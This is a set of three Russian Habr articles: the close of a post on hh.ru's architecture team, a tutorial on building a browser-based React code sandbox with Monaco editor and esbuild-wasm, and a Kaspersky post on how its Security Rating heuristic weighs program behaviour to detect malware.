В первую очередь это наши фреймворки и инструменты для быстрой разработки сервисов: [nuts-and-bolts](https://github.com/hhru/nuts-and-bolts) и [frontik](https://github.com/hhru/frontik). Да и вообще [jclient](https://github.com/hhru/jclient-common) и многие другие библиотеки, открытые у нас на [гитхабе](https://github.com/hhru) появились из идеи, что опыт эксплуатации различных технологий имеет смысл агрегировать. Это позволяет культивировать те ограничения, паттерны дизайна и поведения, которые мы отработали в бою, и считаем наиболее подходящими, понятными и надежными.
Помимо таких очевидных примеров стандартизации бывают и те, в которых имеет смысл обобщить частные решения.
Например, в какой-то момент у нас стала периодически возникать необходимость гарантированно (at least once) отправлять сообщения в rabbitmq. Задачи раз за разом решались самописными очередями на базе, и раз за разом dba говорили, как СИЛЬНО любят очереди на базе, особенно нагруженные. В конце концов стало очевидно, что тут необходимо стандартное решение, которое было бы приемлемо для dba, обеспечивало бы надежность доставки и было удобным для разработки — так мы написали свою библиотеку для интеграции [pgq](https://wiki.postgresql.org/wiki/Skytools#PgQ) и rabbitmq. Сейчас есть большая вероятность, что будем использовать pgq так же в связке с kafka.
### 1.0. Баги
Баги тоже бывают глобальными. Например, в какой-то момент мы выяснили, что наш python-фреймворк регистрируется в consul в каждом процессе-воркере, да еще и делает это раньше, чем приложение готово принимать запросы. После фикса во фреймворке, изменения постепенно доедут до всех сервисов по мере обновления.
Еще об одном общем баге, связанном с настройками jvm я рассказывал на [demo stage jpoint 2019](https://drive.google.com/file/d/1JmBLvSxcOU35VFDrQF232oiHOYIs_Qz-/view?usp=sharing).
**А что, например, делать с багом, который воспроизводится раз в неделю на одном из инстансов, лечится рестартом, но ни нагрузочное, ни синтетика его не воспроизводят?**Суть бага заключается в том, что периодически инстансы java-сервисов дедлочились. Судя по треддампу это был код nuts-and-bolts:
`"qtp1778300121-22" #22 prio=5 os_prio=0 cpu=797.67ms elapsed=11737.06s tid=0x00007f5890139000 nid=0x26 waiting for monitor entry [0x00007f58922c7000]
java.lang.Thread.State: BLOCKED (on object monitor)
at ch.qos.logback.core.AppenderBase.doAppend(AppenderBase.java:63)
- waiting to lock <0x00000000e86acad0> (a ru.hh.nab.logging.HhSyslogAppender)
at ru.hh.nab.logging.HhMultiAppender.doAppend(HhMultiAppender.java:47)
at ru.hh.nab.logging.HhMultiAppender.doAppend(HhMultiAppender.java:21)
at ch.qos.logback.core.spi.AppenderAttachableImpl.appendLoopOnAppenders(AppenderAttachableImpl.java:51)`
но позже очередной дедлок показал стек в недрах спринга:
`"qtp1778300121-22" #22 prio=5 os_prio=0 cpu=5718.81ms elapsed=7767.14s tid=0x00007f1537dba000 nid=0x24 waiting for monitor entry [0x00007f153d2b9000]
java.lang.Thread.State: BLOCKED (on object monitor)
at java.util.concurrent.ConcurrentHashMap.computeIfAbsent(java.base@11.0.4/ConcurrentHashMap.java:1723)
- waiting to lock <0x00000000e976a668> (a java.util.concurrent.ConcurrentHashMap$Node)
at org.springframework.beans.factory.BeanFactoryUtils.transformedBeanName(BeanFactoryUtils.java:86)`
а затем и вовсе в недрах jackson:
`"qtp1778300121-23" #23 prio=5 os_prio=0 cpu=494.19ms elapsed=7234.32s tid=0x00007f6c01218800 nid=0x25 waiting for monitor entry [0x00007f6c07cfa000]
java.lang.Thread.State: BLOCKED (on object monitor)
at org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.ProviderBase._endpointForWriting(ProviderBase.java:711)
- waiting to lock <0x00000000e9f94c38> (a org.glassfish.jersey.jackson.internal.jackson.jaxrs.util.LRUMap)
at org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.ProviderBase.writeTo(ProviderBase.java:588)`
По графикам использования памяти каждый раз перед дедлоком было видно увеличение Code Cache:
Поиск багов java результатов не дал. Однако поднятие версии java, похоже, как-то исправляет проблему. Локализовать ее не удалось, поэтому от дальнейшего исследования мы отказались.
### 1.1. Общие решения
Иногда удается придумать стандартные решения еще до того, как это станет серьезной проблемой. В качестве примеров тут можно привести задачу о процессинге логов, о которой рассказывал наш Влад Сенин [на том же jpoint 2019](https://drive.google.com/file/d/1IfWeTVWmDOc9pEhFvazUVXbQWrNbFYOg/view?usp=sharing), или задачу управления таймаутами в нашем http-клиенте.
Смысл ее в том, что разумный таймаут полезно определять не на стороне клиента, а на стороне сервера. Для сервера у нас есть данные по тому, как быстро он отвечает по своим endpoint-ам. Сейчас наш клиент поддерживает один таймаут для сервиса. Но очевидно, что не все endpoint-ы сервиса отвечают одинаково — какие-то дольше, какие-то быстрее. Хочется иметь возможность использовать разные таймауты. Иначе, возникает ситуация, похожая на эту:
Пока такие ситуации проявляются только под нагрузочным тестированием, но решить их хочется до того, как это станет проблемой.
### 1.2. Открытые проблемы
Но не все проблемы объясняются какими-то бажными местами и сложными ручными процессами. Далее, я приведу несколько примеров вопросов, которые тоже попадают в поле наших приоритетов, но при этом являются куда менее детерминированными. Поэтому я опишу только исходные данные, а варианты решения при желании можем обсудить в комментариях.
Итак, первый пример: сейчас становится понятно, что есть проблема интеграции наших сервисов между собой. Интеграция, скажем, сайтовой ручки в API может занять больше времени, чем изначальная ее разработка.
Другой, наверняка знакомый многим, пример подобной проблемы — распиливание монолита. Все понимают, что монолит, обросший большим количеством легаси, усложняет разработку и эксплуатацию. Но кто может сказать насколько? Стоит ли жертвовать другими задачами техдолга в пользу распиливания, каждый кусочек которого по отдельности несет исчезающе малую ценность?
Масштаб этих и им подобных проблем таков, что для их решения иногда приходится выходить далеко за технические рамки и погружаться в совершенно новые области рабочего процесса. Это с одной стороны пугает, но с другой дает невероятную свободу в выборе решений.
2. Как мы работаем
------------------
Рассказ о направлениях нашей работы будет неполным без описания того, КАК мы со всем этим работаем.
Начну с того, что привлекло в работе в “Архитектуре” меня самого и что нас всех мотивирует: мы действительно работаем на качество.
И прежде чем в меня полетят камни, я попробую объяснить, что имею в виду. Я верю, что ни один разработчик сознательно не забивает на качество. Дело в техдолге: если мы говорим об участке бизнес-логики, который не планируется переиспользовать, то скорее всего количество долга от не самого идеального решения со временем будет расти медленно, если вообще будет.
Это позволяет немного охладить свой перфекционизм — завести задачу на долг и добраться в следующей итерации. А вот если мы говорим о фреймворке или глобальном инструменте подготовки конфигурации, который используется в сотне приложений и закрепляет определенные паттерны дизайна или именования, то скорость роста долга от его неудачного решения может перекрыть любые выигрыши вообще. Понятно, что есть ситуации, когда даже лучшее решение по мере использования вскрывает недостатки, но такое случается не часто…
Ближе к завершению я бы хотел поговорить о препятствиях, которые всё же возникают у нас на пути. Без этого рассказ о нашей работе был бы нечестным. Итак.
### 2.0. Сложность оценки задач
Выше я уже говорил, что мы можем оценить полезный эффект не для всех задач. Насколько уменьшится время выпуска задач, когда для какой-то функции выйдет “коробочное” решение? Какой из двух проблемных участков кода надо рефакторить в первую очередь? Для выработки адекватной системы оценки задач мы встречались пару раз в неделю на протяжении нескольких месяцев, но это тема для отдельного поста.
### 2.1. Коллективное бессознательное
Согласовать что-то на 150 человек — задача не из легких. Наша очень децентрализованная оргструктура чаще всего проявляет себя своими лучшими сторонами, но для “Архитектуры” порой это серьезная преграда. Очень мало соглашений до которых удается договориться, еще меньше тех, соблюдение которых потом удается отслеживать.
А еще все изменения надо катить плавно. Сервис может месяцами не обновляться, а еще есть монолит… Ну, довольно о грустном.
Вот и поговорили
----------------
Надеюсь, после моего рассказа слегка прояснилось, чем занимается “Архитектура” в hh.ru. А уж если мне удалось пробудить в вас интерес к нашей работе — это вообще фантастика. Тем более, что как раз сейчас в нашу команду открыта [вакансия](https://hh.ru/vacancy/34161984). Мы будем очень рады свежим идеям, которые помогут нам в достижении наших скрытых от праздных взглядов, но таких важных побед.
*з.ы. оригинал КДПВ это, оказывается, иллюстрация вот [этого человека](https://en.wikipedia.org/wiki/Jakub_R%C3%B3%C5%BCalski). Надеюсь, он не против использования своих изображений в качестве КДПВ* | https://habr.com/ru/post/488742/ | null | ru | null |
# Как написать свою онлайн-песочницу с поддержкой React и популярных библиотек
Привет, меня зовут Илья, я лидер сообщества фронтенд-разработки в Райффайзенбанке. Среди моих задач — проведение собеседований, при этом хочется, чтобы этот процесс был эффективным, продуктивным и полезным. Для проведения таких собеседований нам нужно выбрать классный инструмент для совместного написания кода. Изучив рынок инструментов, мы пришли к выводу, что из-за безопасности и функциональности проще написать свое решение.
В этой статье я расскажу, как создать главный элемент платформы совместного написания и проверки кода — онлайн-песочницу. Она будет поддерживать один из самых популярных фреймворков и несколько библиотек для него, что достаточно для проверки необходимых навыков и умений.
Введение
--------
Эта небольшая статья включает в себя разбор таких инструментов:
* **Monaco editor**
* **Esbuild + WebAssembly**
Писать мы будем на **React + TS**.
Что должна делать наша онлайн-песочница:
* Работать автономно без участия сервера
* Разделяться на блок для написания кода и на плейграунд
* Подсвечивать синтаксис
* Подсказывать типы для **react, react-dom, react-router-dom styled-components**
* Иметь виртуальную адресную строку в части плейграунда
* Уметь собираться из **TS** в **JS** и проигрываться в плейграунде
Полный код примера можно посмотреть на [Github](https://github.com/Tetragius/editor) и в [демонстрации](https://editor-tetragius.vercel.app/).
Monaco editor
-------------
[Monaco editor](https://microsoft.github.io/monaco-editor/) — редактор кода с подсветкой синтаксиса, и большой, но не очень удобной, документацией. Monaco создан Microsoft — он является урезанной версией редактора, встраиваемого в **VS Code**.
Отличительная черта Monaco в том, что он запускает TypeScript-анализатор вместе с собой и обеспечивает не только подсветку синтаксиса, но и работающий из коробки **IntelliSense** с возможностью передать ему дополнительные файлы типов (**\*.d.ts**).
Сначала определим глобальную конфигурацию редактора:
```
monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({
noSemanticValidation: true,
noSyntaxValidation: false
});
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
jsx: monaco.languages.typescript.JsxEmit.React,
allowNonTsExtensions: true,
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
module: monaco.languages.typescript.ModuleKind.CommonJS,
noEmit: true,
esModuleInterop: true,
});
```
По сути — это обычная конфигурация из **tsconfig.json**. При этом поля **typeRoots** или **outDir**, связанные с конфигурацией файловой системы, никакого эффекта не окажут, так как файловой системы в браузере нет. Это упущение можно исправить, и кратко я расскажу об этом в конце.
Напишем загрузчик дополнительных типов для подсветки синтаксиса:
```
loaStaticdDTS = async (libName: string) => {
const response = await fetch(`/${libName}.d.ts`)
const dts = await response.text();
monaco.editor.createModel(dts, 'typescript', monaco.Uri.parse(`file:///node_modules/@types/${libName}/index.d.ts`));
monaco.languages.typescript.typescriptDefaults.addExtraLib(dts, `file:///node_modules/@types/${libName}/index.d.ts`);
}
```
На самом деле можно использовать только **5-ю** строку кода, если мы просто хотим, чтобы заработали подсветка синтаксиса и импорт. Однако мы хотим также просматривать содержимое файла **d.ts**, поэтому надо добавить и **4-ю строчку**. В качестве пути до файла нам нужно передать **`file:///node\_modules/@types/${libName}/index.d.ts`** — это позволит запустить короткий импорт по названию библиотеки. Без этого движок редактора безуспешно попытается найти библиотеку по стандартному пути.
Ключ **typeRoots** в такой конфигурации эффекта не окажет — для этого необходимо наличие файловой системы, а из браузерной версии редактора такой функционал убран.
Добавим модель с содержимым нашего будущего редактора:
```
monaco.editor.createModel(`console.log('Hello world')`, 'typescript', monaco.Uri.parse(`file:///index.tsx`));
```
Логика такая же, как и при добавлении библиотеки. Мы можем добавить любое количество файлов — главное правильно указывать их относительные пути, тогда подсветка синтаксиса и импорты заработают автоматически. В нашем случае мы добавим только один файл — с типом языка **typescript.**
Изменить тип языка можно так:
```
monaco.editor.setModelLanguage(model, 'typescript');
```
В этом коде **model** — значение, возвращаемое методом **createModel**. По сути, модель схожа с открытой вкладкой в редакторе **VS Code**.
Если все пути прописаны правильно, мы получим:
Последним шагом создадим экземпляр редактора:
```
const editor = monaco.editor.create(ref, {
theme: "vs-dark",
automaticLayout: true,
model: this.model
});
```
В коде:
* **ref** — ссылка на **DOM-**узел, полученный, например, через **useRef**
* **theme** — цветовая схема
* **automaticLayout** — автоматически подстраивает размеры редактора при изменении размеров родителя
* **model** — созданная ранее модель, которая будет отображаться
Еще мы можем включать или отключать отображение миникарты, поддержку мультикурсорности и многие другие параметры редактора.
Читать и передавать значение сборщику мы сможем так:
```
editor.onDidChangeModelContent(() => ESService.build(editor.getModel().getValue()));
```
Esbuild
-------
Esbuild позиционируется как один из быстрых сборщиков. Нас больше всего интересует, что он умеет работать в **WebAssembly** — это значит, что мы сможем запустить его прямо в браузере. Кроме того, у Esbuild есть хорошая документация по плагинам, которые нам потребуется написать, и минималистичный конфиг.
Для работы с этим сборщиком нам потребуется пакет **esbuild-wasm** и, опционально, **esbuild,** если мы хотим помочь себе при разработке подсветкой типов.
Для начала инициализируем сборщик:
```
esbuild.initialize({ wasmURL: 'esbuild.wasm' }).then(() => {
ESService.build = async (text: string) => {
const data = await esbuild.build(esBuildConfig(text));
data.outputFiles?.forEach((file: any) => {
const _file = new File([file.text], `index.js`, { type: 'text/javascript' });
const url = URL.createObjectURL(_file);
localStorage.setItem('script', url);
});
}
});
```
После инициализации нам будут доступны два метода **build** и **transform**.
* **outputFiles** — отображает готовый бандл. Мы сформируем из него **url** и передадим в **localeStorage.**
* **build** — асинхронный метод, в качестве параметра принимает объект с конфигурацией.
```
export const esBuildConfig = (text: string): BuildOptions => ({
entryPoints: [''],
bundle: true,
loader: { '.tsx': 'tsx' },
external: ['react', 'react-dom', 'react-router-dom', 'styled-components'],
plugins: [pluginEntry(this, text), pluginGlobalExternal()],
write: false
});
```
Конфигурация — стандартная для **esbuild**. Указываем точку входа, используемые лоадеры, внешние зависимости и плагины. Особое внимание заслуживает ключ **write** — задав ему значение **false,** мы предотвратим запись файла в несуществующую файловую систему и поймаем его в **data.outputFiles**. Также стоит обратить внимание на **entryPoints** — тут мы указываем, откуда брать исходные данные — это важно для плагина. Обычно тут указывают путь к файлу, но у нас нет файловой системы, поэтому будем выкручиваться.
Опишем плагины
--------------
Очень подробно о плагинах к Esbuild написано [здесь](https://esbuild.github.io/plugins/#load-options).
Если кратко — плагин содержит имя (**name**) и набор методов **onResolve** и **onLoad**, которые определяют, как и что интерпретировать в момент составления бандла.
**pluginEntry**
```
const namespace = 'virtual';
export const pluginEntry = (context: any, text: string): Plugin => {
return {
name: 'virtual-entry',
setup(build) {
build.onResolve({ filter: /^$/ }, () => {
return {
path: 'index.tsx',
namespace: namespace,
pluginData: {
importer: '',
},
};
});
build.onLoad({ filter: /.\*/, namespace: namespace }, async (args) => {
return {
contents: text,
pluginData: {
importer: 'index.tsx',
},
loader: 'tsx',
};
});
},
};
};
```
Этим плагином мы указываем, что в случае импорта строки (ранее указана в конфиге), мы помечаем ее тегом virtual, На него нацелен следующий **onLoad** — он, видя этот тег, сопоставляет ему текст из model-редактора и использует лоадер для **tsx.**
**pluginGlobalExternal**
```
export const pluginGlobalExternal = (): Plugin => {
return {
name: 'plugin-modules',
setup(build) {
build.onResolve({ filter: /^([^\.\/]).*/ }, (args) => {
const external = build.initialOptions.external?.includes(args.path);
if (external) {
return {
path: args.path,
namespace: `node_modules:external`,
pluginData: {
...args.pluginData,
package: args.path,
},
};
}
});
build.onLoad({ filter: /.*/, namespace: `node_modules:external` }, async (args) => {
const content = `module.exports = window['${args.path}'];`;
return {
contents: content,
pluginData: {
importer: args.path,
},
loader: 'js',
};
});
},
};
};
```
Плагин реагирует на любые строки **import ... from …,** помечая их как внешние зависимости для соответствующего обработчика onLoad. Он, в свою очередь, вместо импорта вставляет строку вида **module.exports = window['${args.path}'].**
Поле **pluginData** в нашем коде перетекает по цепочке от одного плагина к другому. Кроме того, важно правильно прописывать поля **importer** и **path,** особенно в случае, если вы включите флаг **sourcemap** (в нашем случае его значение должно быть **inline**).
```
// node_modules:external:react
var require_react = __commonJS({
"node_modules:external:react"(exports, module) {
module.exports = window["react"];
}
});
// node_modules:external:react-dom
var require_react_dom = __commonJS({
"node_modules:external:react-dom"(exports, module) {
module.exports = window["react-dom"];
}
});
// node_modules:external:styled-components
var require_styled_components = __commonJS({
"node_modules:external:styled-components"(exports, module) {
module.exports = window["styled-components"];
}
});
// node_modules:external:react-router-dom
var require_react_router_dom = __commonJS({
"node_modules:external:react-router-dom"(exports, module) {
module.exports = window["react-router-dom"];
}
});
```
Playground
----------
В части плейграунда у нас будет только один **html-**файл:
```
Playground
window['react'] = window.React;
window['react-dom'] = window.ReactDOM;
window['react-router-dom'] = window.ReactRouterDOM;
window['styled-components'] = window.styled;
const listener = (e) => {
if (e.key === 'script') {
fetch(e.newValue)
.then(response => response.text())
.then(eval)
.catch(console.log);
}
}
listener({key: 'script', newValue: localStorage.getItem('script')});
const updateNavigationText = () => window.top.postMessage(JSON.stringify(location));
updateNavigationText();
const pushState = history.pushState;
history.pushState = (...args) => {
pushState.apply(history, args);
updateNavigationText();
};
window.addEventListener('storage', listener);
window.addEventListener('popstate', updateNavigationText);
```
Именно он и будет определять библиотеки, которые бандл ищет в объекте **window**, а также следит через событие storage за обновлением бандла.
* **popstate** ловит изменение **хеша**
* переопределение **history.pushState** — ловит изменения **url** без **хеша**
В результате мы получим такой вид:
Заключение
----------
В этом примере мы рассмотрели простейший способ создания песочницы. В дальнейшем его можно расширить — например, добавив виртуальную файловую систему с использованием **memfs** (как, например, [здесь](https://builder-demo.vercel.app/)), а также поддержку других сред, используя плейграунд на **blazor** или **pyodide.**
Также можно расширить его применение, добавив совместный режим (**monaco-collab-ext**), но тут нам уже понадобится сервер. Такое решение мы использовали для нашей новой платформы собеседований.
Бонус
-----
Дополнительно, как и обещал, расскажу про файловую систему. Использовать будем **memfs** (сокращение от **memory file system**). Эта библиотека — полная копия библиотеки **fs** из стандартного пакета для **node.js.**
Первым делом модифицируем файл **webpack.config.js,** добавив в **resolve** следующий блок:
```
fallback: {
fs: require.resolve("memfs"),
stream: require.resolve("stream-browserify"),
buffer: require.resolve("buffer"),
path: require.resolve("path-browserify"),
assert: require.resolve("assert-browserify"),
process: false,
}
```
Это необходимо сделать, чтобы перенаправить системные вызовы к библиотекам-заместителям. Также нам необходимо создать файл со следующим содержанием:
```
var process = module.exports = {};
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimeout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout() {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimeout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimeout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
}())
function runTimeout(fun) {
if (cachedSetTimeout === setTimeout) {
return setTimeout(fun, 0);
}
if ((cachedSetTimeout === defaultSetTimeout || !cachedSetTimeout) && setTimeout) {
cachedSetTimeout = setTimeout;
return setTimeout(fun, 0);
}
try {
return cachedSetTimeout(fun, 0);
} catch (e) {
try {
return cachedSetTimeout.call(null, fun, 0);
} catch (e) {
return cachedSetTimeout.call(this, fun, 0);
}
}
}
function runClearTimeout(marker) {
if (cachedClearTimeout === clearTimeout) {
return clearTimeout(marker);
}
if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
cachedClearTimeout = clearTimeout;
return clearTimeout(marker);
}
try {
return cachedClearTimeout(marker);
} catch (e) {
try {
return cachedClearTimeout.call(null, marker);
} catch (e) {
return cachedClearTimeout.call(this, marker);
}
}
}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;
function cleanUpNextTick() {
if (!draining || !currentQueue) {
return;
}
draining = false;
if (currentQueue.length) {
queue = currentQueue.concat(queue);
} else {
queueIndex = -1;
}
if (queue.length) {
drainQueue();
}
}
function drainQueue() {
if (draining) {
return;
}
var timeout = runTimeout(cleanUpNextTick);
draining = true;
var len = queue.length;
while (len) {
currentQueue = queue;
queue = [];
while (++queueIndex < len) {
if (currentQueue) {
currentQueue[queueIndex].run();
}
}
queueIndex = -1;
len = queue.length;
}
currentQueue = null;
draining = false;
runClearTimeout(timeout);
}
process.nextTick = function (fun) {
var args = new Array(arguments.length - 1);
if (arguments.length > 1) {
for (var i = 1; i < arguments.length; i++) {
args[i - 1] = arguments[i];
}
}
queue.push(new Item(fun, args));
if (queue.length === 1 && !draining) {
runTimeout(drainQueue);
}
};
function Item(fun, array) {
this.fun = fun;
this.array = array;
}
Item.prototype.run = function () {
this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = '';
process.versions = {};
function noop() { }
process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;
process.listeners = function (name) { return [] }
process.binding = function (name) {
throw new Error('process.binding is not supported');
};
process.cwd = function () { return '/' };
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
process.umask = function () { return 0; };
window.process = process;
window.global = window;
```
Такой код позволит нам уводить системные вызовы в правильные заглушки, так как многих элементов окружения **node.js** в браузере нет.
Инициализируем образ виртуального диска:
```
import { Volume, IFs } from 'memfs';
this.vol = Volume.fromJSON({});
```
И напишем memfs-плагин для **esbuild:**
```
const getLibMainFile = (libName: string) => {
const filePath = `${store.project.name}/node_modules/${libName}`;
const isJS = FS.existsSync(`${filePath}.js`);
const main = !isJS && (JSON.parse(FS.readFileSync(`${filePath}/package.json`, 'utf-8')).main ?? 'index.js');
return isJS ? `${filePath}.js` : path.resolve(filePath, main);
}
const resolve = ({ id, importer }: { id: string; importer: string; }) => {
let resolvedPath = id;
if (importer && id.startsWith('.')) {
resolvedPath = path.resolve(path.dirname(importer), id);
}
for (const x of ['.ts', '.js', '.tsx', '.jsx']) {
const realPath = resolvedPath + '/index' + x;
if (fs.existsSync(realPath)) {
return realPath;
}
}
for (const x of ['', '.ts', '.js', '.css', '.tsx', '.jsx']) {
const realPath = resolvedPath + x;
if (fs.existsSync(realPath)) {
return realPath;
}
}
throw new Error(`${resolvedPath} not exists`);
}
export const pluginMemfs = (context: any): Plugin => {
return {
name: 'memfs-plugin',
setup(build) {
build.onResolve({ filter: /^\.{1,2}\/.*/, namespace: namespace }, (args) => {
return {
path: args.path,
pluginData: args.pluginData,
namespace: namespace,
};
});
build.onLoad({ filter: /.*/, namespace: namespace }, async (args) => {
let realPath = args.path;
const resolvePath = resolve({
id: args.path,
importer: args.pluginData.importer
});
if (!resolvePath) {
throw new Error('not found');
}
realPath = resolvePath;
const content = (await FS.readFileAsync(realPath)).toString();
return {
contents: content,
pluginData: {
importer: realPath,
},
loader: path.extname(realPath).slice(1) as 'js',
};
});
},
};
}
```
Метод **onResolve** из плагина для загрузки **node\_modules**:
```
build.onResolve({ filter: /^([^\.\/]).*/ }, (args) => {
return {
path: getLibMainFile(args.path),
namespace: `node_modules`,
pluginData: {
...args.pluginData,
package: args.path,
},
};
});
```
Обратите внимание на методы: **getLibMainFile** и **resolve.** Несмотря на то, что мы добавили файловую систему, **esbuild** не знает об этом и не может самостоятельно применить механизм определения пути. Этими методами мы разбираем разные случаи импортов, например:
* **import … from ‘libname’** — ищем package.json и поле main
* **import … from ‘libname/folder’** — ищем папку в библиотеке, а в ней package.json или index.js
* **import … from ‘libname/file’** — ищем файл в библиотеке
* Разбираем разные случаи импортов из папок, так как пользователь может как указывать, так и не указывать расширение файла в импорте, и иметь или не иметь файлы index.ts или index.js.
На этом все. Ниже добавлю ссылки на все представленные в статье инструменты.
**Ссылки**
* [monaco-editor](https://microsoft.github.io/monaco-editor/)
* [monaco-collab-ext](https://github.com/convergencelabs/monaco-collab-ext)
* [esbuild](https://esbuild.github.io/)
* [memfs](https://www.npmjs.com/package/memfs)
* [blazor](https://dotnet.microsoft.com/apps/aspnet/web-apps/blazor)
* [pyodide](https://github.com/pyodide/pyodide)
* [Исходный код проекта](https://github.com/Tetragius/editor)
* [Демонстрация](https://editor-tetragius.vercel.app/) | https://habr.com/ru/post/568102/ | null | ru | null |
# Волшебная формула или как увидеть угрозу
Всякая система работает по уникальному алгоритму, без алгоритма — это не система. Гибкому, жёсткому, линейному, разветвляющемуся, детерминированному, стохастическому — не важно. Важно, что для достижения наилучшего результата система подчиняется неким правилам. Нам часто задают вопрос об алгоритмах нашего продукта, в частности: как удаётся лучше конкурентов вычислять будущие угрозы? По понятным причинам все-все детали этой волшебной формулы раскрыть нельзя, но можно легонько приоткрыть дверь нашей [технологической кухни](http://eugene.kaspersky.ru/tag/technology/) и кое-что узнать.
В общем случае мы используем дедуктивный метод, то есть идем от общего к частному. В нашем случае это могло бы выглядеть примерно так: все зловреды делают то-то —> данный файл это тоже делает —> cледовательно, файл — зловред. Но на практике не всё так просто и гладко.
Прежде всего, невозможно выделить конкретные действия, которые однозначно указывают на вредоносность объекта. Классический пример с [доступом к MBR](http://eugene.kaspersky.ru/2014/02/03/heuristic-proactive-protection/) — нельзя считать всё, что дёргает эту команду зловредом, есть множество других её применений в мирных целях. То же самое относится ко всем остальным действиям. Ведь в оригинале все команды были созданы для совершения каких-то полезных вещей.
Иными словами, задача «отделить зёрна от плевел» здесь неуместна. Другое дело — прикинуть пропорции и состав зёрен и плевел, оценить те же параметры в соседнем амбаре, проанализировать результаты и уже тогда принять обоснованное решение о постановке запятой во фразе «лечить нельзя пропустить». Для этого мы используем технологию с незатейливым названием SR (Security Rating) — этакую развесистую самообучаемую систему весов, помогающую лучше понять истинную природу объекта в процессе его формальной оценки и [эмуляции](http://eugene.kaspersky.ru/2012/03/07/emulator/).
При анализе принимаются во внимание состав и плотность генерируемых объектом событий и его внешние атрибуты (имя, размер, местоположение, сжатие и пр.). На основании комплекса правил каждый из параметров получает индивидуальный рейтинг опасности (0-100%). Первый пакет правил (а их сейчас более 500) был результатом «ручного» изучения более 80 тыс. уникальных зловредов различных семейств. Сейчас же правила разрабатываются в основном автоматически, а эксперты-аналитики лишь «подкручивают» алгоритмы самообучения.
Для удобства тестирования и сопровождения правила разделены на группы (например, «Интернет», «Пароли», «Реестр» и т.д.) и если объект «наследил» своим поведением в одном или нескольких из них к нему принимаются соответствующие санкции.
Примеры простейших правил:
*Правило «Загрузка драйвера через низкоуровневое API ntdll.dll»*
API функция: **Загрузка драйвера (NtLoadDriver)**
Аргумент 1: **\***
Аргумент 2: **\***
Аргумент 3..N: **\***
Оценка: единичная операция — **40%**, 2-3 операции — **50%**, >3 операций — **60%**
Вредоносность: **Нет**
*Правило «Анализ машинного кода ядра (снятие хуков)»*
API функция: **Создание/открытие файла (CreateFile)**
Аргумент 1: **Содержит вхождение «ntoskrnl.exe»**
Аргумент 2: **\***
Аргумент 3..N: **\***
Оценка: единичная операция — **100%**, 2-3 операции — **100%**, >3 операций — **100%**
Вредоносность: **Да**
Итоговый рейтинг объекта — сумма всех частных рейтингов после проверки по всей базе данных правил. Иными словами, это типичная [нейронная сеть](http://ru.wikipedia.org/wiki/Искусственная_нейронная_сеть), которая собирает сигналы от множества сенсоров, анализирует их качественные и количественные характеристики, исследует связи и выносит вердикт. Примерно в таком виде SR заступил на вахту в 2007г. (патент [US7530106](http://www.google.ru/patents/US7530106)). Как вы догадались, у нас сразу же зачесалось технологию накормить, воспитать и прокачать.
Проблема Номер Один состояла в том, что анализируемый файл может генерировать огромное число незначительных событий, которые не могут повлиять на конечный вердикт о его вредоносности. Например, Delphi-приложение при запуске порождает до 500 таких событий. Они будут идентичны у любого приложения, написанного на этом языке и при этом не несут ровным счётом никакой полезной информации о реальных намерениях файла. Этот «шум» не только потреблял ресурсы компьютера, но и затруднял анализ.
Для отсеивания такого шума мы сделали фильтр. Причём в отличие от обычных правил тут достаточно булева признака. Таким образом, правило сильно упрощается и, соответственно, ускоряется его работа. В итоге правила содержат только имя API функции и маски для её аргументов.
Например:
***SysAllocString (\*,-NULL-,-NULL-)***
Здесь если первый аргумент функции имеет любое значение, а остальные отсутствуют, то событие будет признано незначительным.
Для автоматической генерации правил фильтрации незначительных событий мы использовали три метода.
Первый — «метод дрозофил». Готовим приложение типа “Hello World” с помщью среды разработки X, по возможности используем его наиболее популярные библиотеки. Скармливаем скомпилированное приложение эмулятору, а все генерируемые «дрозофилой» события записываем в графу «незначительные».
Второй — «метод упакованных дрозофил». Аналогичен первому, за исключеним того, что нас интересуют поведенческие события пакера/протектора. Для этого пустышку на Ассемблере обрабатываем по очереди всякими упаковщиками и протекторами, скармливаем эмулятору и… ну, дальше вы догадались.
Третий метод — статистический. Проводим анализ поведения большого количества легитимных и вредоносных файлов, и выделяем API-вызовы, которые часто встречаются в поведении у тех и других. Этот метод дополняет первые два и эффективен в случае, если нет возможности создать «дрозофилу». Типовой пример выявленных таким образом функций — функции для работы с GUI и выделения памяти.
Но это был один из самых *мелких* челленджей. Дальше — интереснее.
Первая версия SR работала на конкретном защищённом компьютере практически в изоляции. У нас не было глобальной картины, мы не понимали какие правила, как часто и как точно срабатывают и не могли быстро менять их рейтинги. Результат — большие неиспользованные возможности повышения эффективности :) Тогда же у нас полным ходом развивалось [облако KSN](http://blog.kaspersky.ru/ksn/) и к нему мы уже прикрутили экспертную систему [Astraea](http://eugene.kaspersky.ru/2012/11/15/nayti-vse/) для анализа гигантского объёма сигналов от защищённых компьютеров и выдачи разумных заключений об эпидемиологической обстановке в мире.
В 2009г., к всеобщей радости следующая версия SR (SR2, [US8640245](http://www.google.com/patents/US8640245)) срослась с KSN и Astraea.
А бигдата с хорошей экспертной надстройкой — это в нашей области «матчасть» формулы успеха!
